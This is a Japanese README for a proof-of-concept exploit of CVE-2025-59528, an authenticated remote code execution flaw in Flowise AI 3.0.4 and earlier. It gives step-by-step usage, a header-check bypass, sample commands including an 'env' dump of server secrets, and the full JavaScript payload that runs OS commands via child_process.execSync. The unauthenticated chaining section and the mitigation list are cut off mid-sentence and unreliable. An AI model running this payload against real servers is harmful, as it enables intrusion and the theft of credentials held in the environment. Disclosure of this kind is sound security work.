
CVE-2025-59528 の Python PoC エクスプロイト。customMCP エンドポイントと Node.js の child_process.execSync を介して、Flowise AI <= 3.0.4 で認証済み RCE を達成します。
CVE ID: CVE-2025-59528
影響を受けるソフトウェア: Flowise AI
脆弱なバージョン: <= 3.0.4
修正バージョン: 3.0.5 以降
深刻度: 重大
作者: arensballiu
日付: 2025
Flowise AI のバージョン 3.0.4 以下では、認証済みユーザーが細工された JavaScript ペイロードを /api/v1/node-load-method/customMCP エンドポイントに送信することで、ホストサーバー上で リモートコード実行 (RCE) を達成できます。
customMCP ノードのロードメソッドは、ユーザーが制御する入力をサーバー側で JavaScript として評価しますが、適切なサニタイズやサンドボックス化が行われていません。Node.js の child_process.execSync を利用するペイロードを注入することで、攻撃者は Flowise サーバープロセスの権限で任意の OS コマンドを実行できます。
また、このエンドポイントでは x-request-from: internal ヘッダーが存在する必要があります。
| エンドポイント | メソッド | 認証要否 | 目的 |
|---|---|---|---|
/api/v1/auth/login | POST | 不要 | 認証してセッションを取得 |
/api/v1/node-load-method/customMCP | POST | 必要 (セッション Cookie) | 脆弱なノードロードメソッドエンドポイント |
ファイル: CVE-2025-59528_POC.py
requests ライブラリpip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| フラグ | ロング形式 | 必須 | 説明 |
|---|---|---|---|
-e | --email | はい | 認証済みユーザーのメールアドレス |
-i | --url | はい | Flowise インスタンスのベース URL |
-p | --password | はい | 認証済みユーザーのパスワード |
-c | --cmd | はい | サーバー上で実行する OS コマンド |
コード実行の確認:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
サーバーの環境変数の取得:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
このエクスプロイトは、以下の JavaScript 式を mcpServerConfig フィールドに注入します:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — Node.js の組み込みプロセス実行モジュールをロードします。execSync('<command>') — 攻撃者が指定した OS コマンドを同期的に実行します。また、x-request-from: internal ヘッダーがリクエストに追加され、これがないとブロックされる内部オリジンチェックを通過します。
customMCP エンドポイントは、ユーザーが指定した入力をサニタイズやサンドボックス化なしにサーバー上の JavaScript 評価コンテキストに直接渡します。これに process.mainModule.require を介した Node.js コアモジュール (特に child_process) への無制限アクセスが組み合わさることで、容易に悪用可能な RCE ベクターが生じます。x-request-from ヘッダーチェックは、信頼できるソースに対して検証されていないため、意味のあるセキュリティ境界を提供していません。
これらの 2 つの脆弱性は、バージョン <= 3.0.4 を実行している Flowise インスタンスに対する未認証 RCE 攻撃パスとして 連鎖 させることができます:
vm2、分離コンテキスト、または process.mainModule アクセスの削除) を介して、危険な Node.js モジュール (child_process、fs など) へのアクセスを制限してください。x-request-from ヘッダーを単純な文字列チェックではなく、サーバー側のメカニズムを通じて検証および認証してください。この概念実証は、教育および許可されたセキュリティ研究目的のみ で提供されています。明示的な書面による許可なくシステムに対してこのスクリプトを使用することは、違法かつ非倫理的です。作者および貢献者は、誤用に対して一切の責任を負いません。